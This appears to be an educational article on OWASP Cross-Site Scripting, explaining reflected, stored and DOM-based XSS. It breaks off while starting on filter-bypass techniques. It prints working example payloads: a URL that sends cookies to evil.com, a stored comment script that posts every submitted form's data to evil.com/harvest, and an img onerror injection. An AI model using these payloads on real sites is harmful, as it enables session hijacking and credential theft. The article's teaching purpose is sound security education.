OWASP Top 10: Cross-Site Scripting (XSS)

# OWASP Top 10: Cross-Site Scripting (XSS)

Definition

Cross-Site Scripting (XSS) is a client-side code injection vulnerability where an attacker inserts malicious scripts into web content that is subsequently executed in other users' browsers. The vulnerability exists because browsers automatically execute JavaScript embedded in HTML responses, and web applications frequently include user-supplied data in those responses without proper encoding or validation.

XSS exploits the fundamental trust relationship between browsers and web servers. When a browser receives an HTTP response from a trusted domain, it assumes all content in that response, including any embedded scripts, is legitimate. The browser cannot distinguish between JavaScript the developer intentionally included and JavaScript an attacker injected through user input. Both execute with the same privileges in the same origin context.

The term "cross-site" reflects the original attack model where malicious code from one site executes within the security context of another trusted site, gaining access to cookies, session tokens, and the Document Object Model (DOM) of the target application. This allows attackers to perform actions on behalf of the victim, steal credentials, or modify page content as if they had legitimate access.

XSS is categorized under CWE-79 (Improper Neutralization of Input During Web Page Generation) and appears consistently in the OWASP Top 10, most recently consolidated under A03:2021 (Injection). It affects virtually every web technology stack and remains one of the most prevalent vulnerabilities in modern web applications despite decades of awareness and available countermeasures.

XSS differs from other injection attacks in both target and mechanism. While SQL injection targets server-side databases through malicious queries, XSS targets client-side browsers through malicious scripts. Cross-Site Request Forgery (CSRF) tricks browsers into sending forged requests but does not inject executable code. XSS is unique in weaponizing the browser's execution environment against the user.

How It Works

XSS exploits occur when web applications include unvalidated user input in HTML responses without proper context-aware encoding. The attack succeeds because browsers parse HTTP response bodies as HTML and execute any JavaScript they encounter, regardless of its source.

Reflected XSS

Reflected XSS is the most common variant, occurring when user input from the current request is immediately echoed back in the HTTP response without sanitization. Consider a search function that displays results with the message "Showing results for: [search term]." If the application constructs this message by directly concatenating user input into the HTML template, an attacker can inject malicious code through the search parameter.

An attacker crafts a URL like:

https://store.example.com/search?q=<script>fetch('https://evil.com/steal?data='+document.cookie)</script>

When a victim clicks this link (typically delivered through phishing emails or social engineering), the server processes the search parameter and includes the raw script tag in the HTML response. The victim's browser parses the response, encounters the script element, and executes the JavaScript. The malicious code reads the victim's cookies and transmits them to the attacker's server, enabling session hijacking.

The entire attack requires no server-side storage or persistent state changes. Each malicious URL is self-contained, making reflected XSS particularly suited for mass phishing campaigns where attackers can generate thousands of unique malicious links targeting the same vulnerable application.

Stored XSS

Stored XSS occurs when malicious input is saved to a data store (database, file system, or cache) and later served to other users. This creates a persistent attack vector that scales to affect every user who views the infected content.

Consider a blog comment system where users can post feedback. An attacker submits the following comment:

Great article! <script>
document.addEventListener('DOMContentLoaded', function() {
  var forms = document.querySelectorAll('form');
  forms.forEach(function(form) {
    form.addEventListener('submit', function(e) {
      fetch('https://evil.com/harvest', {
        method: 'POST',
        body: new FormData(e.target)
      });
    });
  });
});
</script>

The application stores this comment in its database. Every subsequent visitor who loads the comment section receives the malicious script as part of the legitimate page content. The script attaches event listeners to all forms on the page, silently exfiltrating form data (including login credentials, payment information, and personal data) whenever users submit forms.

Stored XSS is particularly dangerous because it requires minimal attacker interaction after the initial injection. A single malicious post can compromise thousands of users over months or years until the vulnerability is discovered and remediated.

DOM-Based XSS

DOM-based XSS is entirely client-side, occurring when JavaScript code reads from attacker-controlled sources and writes to dangerous sinks without proper validation. The malicious payload never appears in the HTTP response body, making it invisible to server-side security controls.

Consider a single-page application that reads a user ID from the URL fragment and displays a personalized message:

var userId = decodeURIComponent(location.hash.substring(1));
document.getElementById('welcome').innerHTML = 'Hello ' + userId + '!';

An attacker sends a victim the following URL:

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

The server never sees the fragment identifier (everything after the #), so the malicious payload bypasses server-side filters and Web Application Firewalls. The victim's browser executes the JavaScript, which reads the fragment, and assigns it to innerHTML. The browser parses the injected HTML, creates an img element with an invalid src, triggers the onerror event handler, and executes the malicious script.

Advanced Bypass Techniques

Modern attackers employ sophisticated techniques to evade detection and filtering. Encoding payloads using HTML entities (<script>), Unicode escapes (\u003cscript\u003e), or URL encoding bypasses basic string matching filters. Case variation (